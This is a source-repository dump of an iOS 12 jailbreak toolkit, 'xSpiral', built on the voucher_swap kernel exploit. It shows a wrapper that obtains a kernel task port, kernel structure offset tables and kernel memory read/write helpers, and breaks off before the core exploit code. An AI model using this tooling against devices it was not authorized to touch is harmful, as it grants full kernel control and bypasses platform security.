├── .gitignore
├── README.MD
├── a2.0b105.ipa
├── xSpiral.xcodeproj
├── project.pbxproj
├── project.xcworkspace
│ ├── contents.xcworkspacedata
│ ├── contents.xcworkspacedata.xml
│ ├── xcshareddata
│ │ └── IDEWorkspaceChecks.plist
│ └── xcuserdata
│ │ ├── lakr.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
│ │ └── seyed.xcuserdatad
│ │ └── UserInterfaceState.xcuserstate
├── xcshareddata
│ └── xcschemes
│ │ ├── rootKit.xcscheme.xml
│ │ └── xSpiral.xcscheme
└── xcuserdata
│ └── lakr.xcuserdatad
│ ├── xcdebugger
│ └── Breakpoints_v2.xcbkptlist.xml
│ └── xcschemes
│ └── xcschememanagement.plist
└── xSpiral
├── Info.plist
├── PostExploit
├── ExploitBridger.c
├── ExploitBridger.h
├── Headers
│ ├── IOKit.h
│ ├── IOKitLib.h
│ ├── ipc_port.h
│ └── mach_vm.h
├── SpecialDeviceOffsets.h
├── SpecialDeviceOffsets.m
├── offsets.h
├── offsets.m
└── vouncher_swap
│ ├── kmem.c
│ ├── kmem.h
│ ├── voucher_swap.c
│ ├── voucher_swap.h
│ └── voucher_swap
│ ├── headers
│ ├── IOKitLib.h
│ ├── ipc_port.h
│ └── mach_vm.h
│ ├── kernel_alloc.c
│ ├── kernel_alloc.h
│ ├── kernel_call.c
│ ├── kernel_call.h
│ ├── kernel_call
│ ├── kc_parameters.c
│ ├── kc_parameters.h
│ ├── pac.c
│ ├── pac.h
│ ├── user_client.c
│ └── user_client.h
│ ├── kernel_memory.c
│ ├── kernel_memory.h
│ ├── kernel_slide.c
│ ├── kernel_slide.h
│ ├── log.c
│ ├── log.h
│ ├── parameters.c
│ ├── parameters.h
│ ├── platform.c
│ ├── platform.h
│ ├── platform_match.c
│ ├── platform_match.h
│ ├── voucher_swap.c
│ └── voucher_swap.h
├── RootUnit
├── noncereboot.c
├── noncereboot.h
├── patchfinder64.c
├── patchfinder64.h
├── unlocknvram.c
├── unlocknvram.h
└── utilities
│ ├── exploit_additions.c
│ ├── exploit_additions.h
│ ├── kexecute.c
│ ├── kexecute.h
│ ├── kutils.c
│ ├── kutils.h
│ ├── nonce.c
│ ├── nonce.h
│ ├── offsetof.c
│ └── offsetof.h
└── XcodeGEN
├── AppDelegate.h
├── AppDelegate.m
├── Base.lproj
├── LaunchScreen.storyboard
└── Main.storyboard
├── Extension.h
├── Extension.m
├── Icon.xcassets
├── AppIcon.appiconset
│ ├── Contents.json
│ ├── icon-1024.png
│ ├── icon-20-ipad.png
│ ├── icon-20@2x-ipad.png
│ ├── icon-20@2x.png
│ ├── icon-20@3x.png
│ ├── icon-29-ipad.png
│ ├── icon-29.png
│ ├── icon-29@2x-ipad.png
│ ├── icon-29@2x.png
│ ├── icon-29@3x.png
│ ├── icon-40.png
│ ├── icon-40@2x.png
│ ├── icon-40@3x.png
│ ├── icon-50.png
│ ├── icon-50@2x.png
│ ├── icon-57.png
│ ├── icon-57@2x.png
│ ├── icon-60@2x.png
│ ├── icon-60@3x.png
│ ├── icon-72.png
│ ├── icon-72@2x.png
│ ├── icon-76.png
│ ├── icon-76@2x.png
│ ├── icon-83.5@2x.png
│ ├── icon_20x20@2x.png
│ ├── icon_20x20@3x.png
│ ├── icon_29x29.png
│ ├── icon_29x29@2x.png
│ ├── icon_29x29@3x.png
│ ├── icon_40x40@2x.png
│ ├── icon_40x40@3x.png
│ ├── icon_60x60@2x.png
│ ├── icon_60x60@3x.png
│ ├── icon_76x76.png
│ ├── icon_76x76@2x.png
│ └── icon_83.5x83.5@2x.png
└── Contents.json
├── LaunchScreen.storyboard
├── LemonMilk.otf
├── Main.storyboard
├── ViewController.h
├── ViewController.m
├── file.png
├── folder.png
├── main.m
└── xspiralwallpaper.png
/.gitignore:
--------------------------------------------------------------------------------
1 |
2 | .DS_Store
3 |
--------------------------------------------------------------------------------
/README.MD:
--------------------------------------------------------------------------------
1 | xSpiral ToolKit
2 |
3 | xSpiral Toolkit requires A9-A12 SoC and iOS 12.0-12.1.2
4 | It has a built in file manager for "/var" files.
5 |
6 | Being root is dangerous so take care of it!
7 |
--------------------------------------------------------------------------------
/a2.0b105.ipa:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/a2.0b105.ipa
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/project.xcworkspace/contents.xcworkspacedata:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/project.xcworkspace/contents.xcworkspacedata.xml:
--------------------------------------------------------------------------------
1 |
2 |
4 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/project.xcworkspace/xcshareddata/IDEWorkspaceChecks.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | IDEDidComputeMac32BitWarning
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/project.xcworkspace/xcuserdata/lakr.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral.xcodeproj/project.xcworkspace/xcuserdata/lakr.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/project.xcworkspace/xcuserdata/seyed.xcuserdatad/UserInterfaceState.xcuserstate:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/razmashat/voucher_swap/f1f2b65989a60a31a687799b3fa3f8a04e542f09/xSpiral.xcodeproj/project.xcworkspace/xcuserdata/seyed.xcuserdatad/UserInterfaceState.xcuserstate
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/xcshareddata/xcschemes/rootKit.xcscheme.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
39 |
40 |
41 |
42 |
43 |
44 |
54 |
56 |
62 |
63 |
64 |
65 |
66 |
67 |
73 |
75 |
81 |
82 |
83 |
84 |
86 |
87 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/xcshareddata/xcschemes/xSpiral.xcscheme:
--------------------------------------------------------------------------------
1 |
2 |
5 |
8 |
9 |
15 |
21 |
22 |
23 |
24 |
25 |
30 |
31 |
32 |
33 |
39 |
40 |
41 |
42 |
43 |
44 |
54 |
56 |
62 |
63 |
64 |
65 |
66 |
67 |
73 |
75 |
81 |
82 |
83 |
84 |
86 |
87 |
90 |
91 |
92 |
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/xcuserdata/lakr.xcuserdatad/xcdebugger/Breakpoints_v2.xcbkptlist.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 |
6 |
--------------------------------------------------------------------------------
/xSpiral.xcodeproj/xcuserdata/lakr.xcuserdatad/xcschemes/xcschememanagement.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | SchemeUserState
6 |
7 | xSpiral.xcscheme_^#shared#^_
8 |
9 | orderHint
10 | 0
11 |
12 |
13 | SuppressBuildableAutocreation
14 |
15 | AB68116B2203245000947531
16 |
17 | primary
18 |
19 |
20 | AB68117C2203245000947531
21 |
22 | primary
23 |
24 |
25 | ABFA14422202CA83000ACF42
26 |
27 | primary
28 |
29 |
30 |
31 |
32 |
33 |
--------------------------------------------------------------------------------
/xSpiral/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | $(DEVELOPMENT_LANGUAGE)
7 | CFBundleDisplayName
8 | xSpiral
9 | CFBundleExecutable
10 | $(EXECUTABLE_NAME)
11 | CFBundleIdentifier
12 | $(PRODUCT_BUNDLE_IDENTIFIER)
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundleName
16 | $(PRODUCT_NAME)
17 | CFBundlePackageType
18 | APPL
19 | CFBundleShortVersionString
20 | 2.0
21 | CFBundleVersion
22 | 105
23 | LSRequiresIPhoneOS
24 |
25 | UIAppFonts
26 |
27 | LemonMilk.otf
28 |
29 | UIFileSharingEnabled
30 |
31 | UILaunchStoryboardName
32 | LaunchScreen
33 | UIMainStoryboardFile
34 | Main
35 | UIRequiredDeviceCapabilities
36 |
37 | armv7
38 |
39 | UIRequiresFullScreen
40 |
41 | UIStatusBarHidden
42 |
43 | UISupportedInterfaceOrientations
44 |
45 | UIInterfaceOrientationPortrait
46 | UIInterfaceOrientationPortraitUpsideDown
47 |
48 | UISupportedInterfaceOrientations~ipad
49 |
50 | UIInterfaceOrientationPortrait
51 | UIInterfaceOrientationPortraitUpsideDown
52 | UIInterfaceOrientationLandscapeLeft
53 | UIInterfaceOrientationLandscapeRight
54 |
55 |
56 |
57 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/ExploitBridger.c:
--------------------------------------------------------------------------------
1 | //
2 | // ExploitBridger.c
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/1/31.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #include "ExploitBridger.h"
10 | #include
11 | #include "vouncher_swap/voucher_swap.h"
12 |
13 | // This file was built for future reuse.
14 |
15 | mach_port_t grab_this_tfp0(void) {
16 | mach_port_t tfp0 = voucher_swap_go();
17 | return tfp0;
18 | }
19 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/ExploitBridger.h:
--------------------------------------------------------------------------------
1 | //
2 | // ExploitBridger.h
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/1/31.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #ifndef ExploitBridger_h
10 | #define ExploitBridger_h
11 |
12 | #include
13 |
14 | #endif /* ExploitBridger_h */
15 |
16 | mach_port_t grab_this_tfp0(void);
17 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/Headers/IOKit.h:
--------------------------------------------------------------------------------
1 | //
2 | // IOKit.h
3 | // electra
4 | //
5 | // Created by Jamie on 27/01/2018.
6 | // Copyright © 2018 Electra Team. All rights reserved.
7 | //
8 |
9 | #ifndef IOKit_h
10 | #define IOKit_h
11 |
12 | #include
13 |
14 | kern_return_t mach_vm_read(
15 | vm_map_t target_task,
16 | mach_vm_address_t address,
17 | mach_vm_size_t size,
18 | vm_offset_t *data,
19 | mach_msg_type_number_t *dataCnt);
20 |
21 | typedef mach_port_t io_service_t;
22 | typedef mach_port_t io_connect_t;
23 | typedef mach_port_t io_object_t;
24 | typedef io_object_t io_registry_entry_t;
25 | typedef char io_name_t[128];
26 | typedef char io_struct_inband_t[4096];
27 |
28 | extern const mach_port_t kIOMasterPortDefault;
29 | #define IO_OBJECT_NULL (0)
30 |
31 | io_service_t
32 | IOServiceGetMatchingService(
33 | mach_port_t _masterPort,
34 | CFDictionaryRef matching);
35 |
36 | CFMutableDictionaryRef
37 | IOServiceMatching(
38 | const char* name);
39 |
40 | kern_return_t
41 | IOServiceOpen(
42 | io_service_t service,
43 | task_port_t owningTask,
44 | uint32_t type,
45 | io_connect_t* connect );
46 |
47 | io_service_t
48 | IOServiceGetMatchingService(
49 | mach_port_t _masterPort,
50 | CFDictionaryRef matching);
51 |
52 | CFMutableDictionaryRef
53 | IOServiceMatching(
54 | const char* name);
55 |
56 | kern_return_t
57 | IORegistryEntrySetCFProperties(
58 | io_registry_entry_t entry,
59 | CFTypeRef properties );
60 | kern_return_t
61 | IORegistryEntryGetProperty(
62 | io_registry_entry_t entry,
63 | const io_name_t propertyName,
64 | io_struct_inband_t buffer,
65 | uint32_t * size );
66 |
67 | kern_return_t IOConnectTrap6(io_connect_t connect, uint32_t index, uintptr_t p1, uintptr_t p2, uintptr_t p3, uintptr_t p4, uintptr_t p5, uintptr_t p6);
68 | kern_return_t mach_vm_read_overwrite(vm_map_t target_task, mach_vm_address_t address, mach_vm_size_t size, mach_vm_address_t data, mach_vm_size_t *outsize);
69 | kern_return_t mach_vm_write(vm_map_t target_task, mach_vm_address_t address, vm_offset_t data, mach_msg_type_number_t dataCnt);
70 | kern_return_t mach_vm_allocate(vm_map_t target, mach_vm_address_t *address, mach_vm_size_t size, int flags);
71 | kern_return_t mach_vm_deallocate(vm_map_t target, mach_vm_address_t address, mach_vm_size_t size);
72 | kern_return_t mach_vm_remap(vm_map_t dst, mach_vm_address_t *dst_addr, mach_vm_size_t size, mach_vm_offset_t mask, int flags, vm_map_t src, mach_vm_address_t src_addr, boolean_t copy, vm_prot_t *cur_prot, vm_prot_t *max_prot, vm_inherit_t inherit);
73 |
74 | #endif /* IOKit_h */
75 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/Headers/IOKitLib.h:
--------------------------------------------------------------------------------
1 | /*
2 | * IOKitLib.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IOKITLIB_H_
6 | #define VOUCHER_SWAP__IOKITLIB_H_
7 |
8 | #include
9 | #include
10 |
11 | typedef mach_port_t io_object_t;
12 | typedef io_object_t io_connect_t;
13 | typedef io_object_t io_iterator_t;
14 | typedef io_object_t io_service_t;
15 |
16 | extern const mach_port_t kIOMasterPortDefault;
17 |
18 | kern_return_t
19 | IOObjectRelease(
20 | io_object_t object );
21 |
22 | io_object_t
23 | IOIteratorNext(
24 | io_iterator_t iterator );
25 |
26 | io_service_t
27 | IOServiceGetMatchingService(
28 | mach_port_t masterPort,
29 | CFDictionaryRef matching CF_RELEASES_ARGUMENT);
30 |
31 | kern_return_t
32 | IOServiceGetMatchingServices(
33 | mach_port_t masterPort,
34 | CFDictionaryRef matching CF_RELEASES_ARGUMENT,
35 | io_iterator_t * existing );
36 |
37 | kern_return_t
38 | IOServiceOpen(
39 | io_service_t service,
40 | task_port_t owningTask,
41 | uint32_t type,
42 | io_connect_t * connect );
43 |
44 | kern_return_t
45 | IOServiceClose(
46 | io_connect_t connect );
47 |
48 | kern_return_t
49 | IOConnectCallMethod(
50 | mach_port_t connection, // In
51 | uint32_t selector, // In
52 | const uint64_t *input, // In
53 | uint32_t inputCnt, // In
54 | const void *inputStruct, // In
55 | size_t inputStructCnt, // In
56 | uint64_t *output, // Out
57 | uint32_t *outputCnt, // In/Out
58 | void *outputStruct, // Out
59 | size_t *outputStructCnt) // In/Out
60 | AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER;
61 |
62 | kern_return_t
63 | IOConnectTrap6(io_connect_t connect,
64 | uint32_t index,
65 | uintptr_t p1,
66 | uintptr_t p2,
67 | uintptr_t p3,
68 | uintptr_t p4,
69 | uintptr_t p5,
70 | uintptr_t p6);
71 |
72 | CFMutableDictionaryRef
73 | IOServiceMatching(
74 | const char * name ) CF_RETURNS_RETAINED;
75 |
76 | #endif
77 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/Headers/ipc_port.h:
--------------------------------------------------------------------------------
1 | /*
2 | * ipc_port.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__IPC_PORT_H_
6 | #define VOUCHER_SWAP__IPC_PORT_H_
7 |
8 | #include
9 | #include
10 |
11 | // ---- osfmk/kern/waitq.h ------------------------------------------------------------------------
12 |
13 | #define _EVENT_MASK_BITS ((sizeof(uint32_t) * 8) - 7)
14 |
15 | #define WQT_QUEUE 0x2
16 |
17 | union waitq_flags {
18 | struct {
19 | uint32_t /* flags */
20 | waitq_type:2, /* only public field */
21 | waitq_fifo:1, /* fifo wakeup policy? */
22 | waitq_prepost:1, /* waitq supports prepost? */
23 | waitq_irq:1, /* waitq requires interrupts disabled */
24 | waitq_isvalid:1, /* waitq structure is valid */
25 | waitq_turnstile_or_port:1, /* waitq is embedded in a turnstile (if irq safe), or port (if not irq safe) */
26 | waitq_eventmask:_EVENT_MASK_BITS;
27 | };
28 | uint32_t flags;
29 | };
30 |
31 | // ---- osfmk/kern/ipc_kobject.h ------------------------------------------------------------------
32 |
33 | #define IKOT_NONE 0
34 | #define IKOT_TASK 2
35 |
36 | // ---- osfmk/ipc/ipc_object.h --------------------------------------------------------------------
37 |
38 | #define IO_BITS_KOTYPE 0x00000fff /* used by the object */
39 | #define IO_BITS_ACTIVE 0x80000000 /* is object alive? */
40 |
41 | #define io_makebits(active, otype, kotype) \
42 | (((active) ? IO_BITS_ACTIVE : 0) | ((otype) << 16) | (kotype))
43 |
44 | #define IOT_PORT 0
45 |
46 | // ---- Custom definitions ------------------------------------------------------------------------
47 |
48 | #define MACH_HEADER_SIZE_DELTA (2 * (sizeof(uint64_t) - sizeof(uint32_t)))
49 |
50 | // ------------------------------------------------------------------------------------------------
51 |
52 | #endif
53 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/Headers/mach_vm.h:
--------------------------------------------------------------------------------
1 | /*
2 | * mach_vm.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__MACH_VM_H_
6 | #define VOUCHER_SWAP__MACH_VM_H_
7 |
8 | #include
9 |
10 | extern
11 | kern_return_t mach_vm_allocate
12 | (
13 | vm_map_t target,
14 | mach_vm_address_t *address,
15 | mach_vm_size_t size,
16 | int flags
17 | );
18 |
19 | extern
20 | kern_return_t mach_vm_deallocate
21 | (
22 | vm_map_t target,
23 | mach_vm_address_t address,
24 | mach_vm_size_t size
25 | );
26 |
27 | extern
28 | kern_return_t mach_vm_write
29 | (
30 | vm_map_t target_task,
31 | mach_vm_address_t address,
32 | vm_offset_t data,
33 | mach_msg_type_number_t dataCnt
34 | );
35 |
36 | extern
37 | kern_return_t mach_vm_read_overwrite
38 | (
39 | vm_map_t target_task,
40 | mach_vm_address_t address,
41 | mach_vm_size_t size,
42 | mach_vm_address_t data,
43 | mach_vm_size_t *outsize
44 | );
45 |
46 | #endif
47 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/SpecialDeviceOffsets.h:
--------------------------------------------------------------------------------
1 | //
2 | // SpecialDeviceOffsets.h
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/2/2.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #ifndef SpecialDeviceOffsets_h
10 | #define SpecialDeviceOffsets_h
11 |
12 |
13 | #endif /* SpecialDeviceOffsets_h */
14 |
15 | void init_device_ID(void);
16 | size_t read_ool_size(void);
17 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/SpecialDeviceOffsets.m:
--------------------------------------------------------------------------------
1 | //
2 | // SpecialDeviceOffsets.m
3 | // rootKit
4 | //
5 | // Created by Lakr Sakura on 2019/2/2.
6 | // Copyright © 2019 Lakr Sakura. All rights reserved.
7 | //
8 |
9 | #import
10 | #include
11 |
12 | #include "SpecialDeviceOffsets.h"
13 | #include "vouncher_swap/voucher_swap/platform.h"
14 |
15 | size_t ool;
16 |
17 | void init_device_ID(void) {
18 |
19 | size_t size;
20 | int nR = sysctlbyname("hw.machine",NULL, &size,NULL,0);
21 | char *machine = (char*)malloc(size);
22 | nR = sysctlbyname("hw.machine", machine, &size,NULL,0);
23 | NSString *deviceString = [NSString stringWithCString:machine encoding:NSUTF8StringEncoding];
24 | free(machine);
25 |
26 | if ([deviceString isEqualToString:@"iPad7,3"] || [deviceString isEqualToString:@"iPad7,4"]) {
27 | ool = 0.25 * platform.memory_size;;
28 | return;
29 | }
30 |
31 | if ([deviceString isEqualToString:@"iPhone10,3"] || [deviceString isEqualToString:@"iPhone10,6"]) {
32 | ool = 0.25 * platform.memory_size;;
33 | return;
34 | }
35 |
36 |
37 | }
38 |
39 | //作者:为木子而来
40 | //链接:https://www.jianshu.com/p/6a22f3d45234
41 | //來源:简书
42 | //简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
43 |
44 | size_t read_ool_size(void) {
45 | platform_init();
46 | ool = -1;
47 | init_device_ID();
48 | return ool;
49 | }
50 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/offsets.h:
--------------------------------------------------------------------------------
1 | #ifndef offsets_h
2 | #define offsets_h
3 |
4 | enum kstruct_offset {
5 | /* struct task */
6 | KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
7 | KSTRUCT_OFFSET_TASK_REF_COUNT,
8 | KSTRUCT_OFFSET_TASK_ACTIVE,
9 | KSTRUCT_OFFSET_TASK_VM_MAP,
10 | KSTRUCT_OFFSET_TASK_NEXT,
11 | KSTRUCT_OFFSET_TASK_PREV,
12 | KSTRUCT_OFFSET_TASK_ITK_SPACE,
13 | KSTRUCT_OFFSET_TASK_BSD_INFO,
14 |
15 | /* struct ipc_port */
16 | KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
17 | KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
18 | KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
19 | KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
20 | KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
21 | KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
22 | KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
23 | KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
24 | KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
25 |
26 | /* struct proc */
27 | KSTRUCT_OFFSET_PROC_PID,
28 | KSTRUCT_OFFSET_PROC_P_FD,
29 |
30 | /* struct filedesc */
31 | KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
32 |
33 | /* struct fileproc */
34 | KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
35 |
36 | /* struct fileglob */
37 | KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
38 |
39 | /* struct socket */
40 | KSTRUCT_OFFSET_SOCKET_SO_PCB,
41 |
42 | /* struct pipe */
43 | KSTRUCT_OFFSET_PIPE_BUFFER,
44 |
45 | /* struct ipc_space */
46 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
47 | KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
48 |
49 | KFREE_ADDR_OFFSET,
50 | };
51 |
52 | int koffset(enum kstruct_offset offset);
53 | int offsets_init(void);
54 |
55 | #endif
56 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/offsets.m:
--------------------------------------------------------------------------------
1 | #import
2 |
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | #include "offsets.h"
10 |
11 | int* offsets = NULL;
12 |
13 | int kstruct_offsets_11_0[] = {
14 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
15 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
16 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
17 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
18 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT,
19 | 0x30, // KSTRUCT_OFFSET_TASK_PREV,
20 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
21 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
22 |
23 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
24 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
25 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
26 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
27 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
28 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
29 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
30 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
31 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
32 |
33 | 0x10, // KSTRUCT_OFFSET_PROC_PID,
34 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD
35 |
36 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
37 |
38 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
39 |
40 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
41 |
42 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
43 |
44 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
45 |
46 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
47 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
48 |
49 | 0x6c, // KFREE_ADDR_OFFSET
50 | };
51 |
52 | int kstruct_offsets_11_3[] = {
53 | 0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
54 | 0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
55 | 0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
56 | 0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
57 | 0x28, // KSTRUCT_OFFSET_TASK_NEXT,
58 | 0x30, // KSTRUCT_OFFSET_TASK_PREV,
59 | 0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
60 | 0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
61 |
62 | 0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
63 | 0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
64 | 0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
65 | 0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
66 | 0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
67 | 0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
68 | 0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
69 | 0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
70 | 0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
71 |
72 | 0x10, // KSTRUCT_OFFSET_PROC_PID,
73 | 0x108, // KSTRUCT_OFFSET_PROC_P_FD
74 |
75 | 0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
76 |
77 | 0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
78 |
79 | 0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
80 |
81 | 0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
82 |
83 | 0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
84 |
85 | 0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
86 | 0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
87 |
88 | 0x7c, // KFREE_ADDR_OFFSET
89 | };
90 |
91 | int koffset(enum kstruct_offset offset) {
92 | if (offsets == NULL) {
93 | printf("need to call offsets_init() prior to querying offsets\n");
94 | return 0;
95 | }
96 | return offsets[offset];
97 | }
98 |
99 | int offsets_init() {
100 | if (kCFCoreFoundationVersionNumber <= 1451.51) {
101 | printf("offsets selected for iOS 11.0 to 11.2.6\n");
102 | offsets = kstruct_offsets_11_0;
103 | } else {
104 | printf("offsets selected for iOS 11.3 or above\n");
105 | offsets = kstruct_offsets_11_3;
106 | }
107 | return 0;
108 | }
109 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/kmem.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include "kmem.h"
7 | #include "IOKit.h"
8 | #include "offsets.h"
9 | #include "voucher_swap/kernel_memory.h"
10 |
11 | uint64_t task_port_kaddr = 0;
12 | mach_port_t tfp0 = MACH_PORT_NULL;
13 |
14 | void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0) {
15 | tfp0 = fake_tfp0;
16 | }
17 |
18 | void wk32(uint64_t kaddr, uint32_t val) {
19 | kernel_write32(kaddr, val);
20 | }
21 |
22 | void wk64(uint64_t kaddr, uint64_t val) {
23 | kernel_write64(kaddr, val);
24 | }
25 |
26 | uint32_t rk32(uint64_t kaddr) {
27 | return kernel_read32(kaddr);
28 | }
29 |
30 | uint64_t rk64(uint64_t kaddr) {
31 | uint64_t lower = rk32(kaddr);
32 | uint64_t higher = rk32(kaddr+4);
33 | uint64_t full = ((higher<<32) | lower);
34 | return full;
35 | }
36 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/kmem.h:
--------------------------------------------------------------------------------
1 | #ifndef kmem_h
2 | #define kmem_h
3 |
4 | #include
5 | #include
6 |
7 | extern uint64_t task_port_kaddr;
8 | extern mach_port_t tfp0;
9 |
10 | #define IO_BITS_ACTIVE 0x80000000
11 | #define IKOT_TASK 2
12 | #define IKOT_NONE 0
13 |
14 | void increase_limits(void);
15 | void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
16 |
17 | uint32_t rk32(uint64_t kaddr);
18 | uint64_t rk64(uint64_t kaddr);
19 |
20 | void wk32(uint64_t kaddr, uint32_t val);
21 | void wk64(uint64_t kaddr, uint64_t val);
22 |
23 | #endif
24 |
--------------------------------------------------------------------------------
/xSpiral/PostExploit/vouncher_swap/voucher_swap.c:
--------------------------------------------------------------------------------
1 | //
2 | // voucher_swap.c
3 | // noncereboot1131UI
4 | //
5 | // Created by Umang Raghuvanshi on 30/01/19.
6 | // Copyright © 2019 Pwn20wnd. All rights reserved.
7 | //
8 |
9 | #include "voucher_swap/voucher_swap.h"
10 | #include "voucher_swap/kernel_memory.h"
11 | #include "kmem.h"
12 | #include "voucher_swap.h"
13 |
14 | #include "../SpecialDeviceOffsets.h"
15 |
16 | mach_port_t voucher_swap_go() {
17 | mach_port_t p = MACH_PORT_NULL;
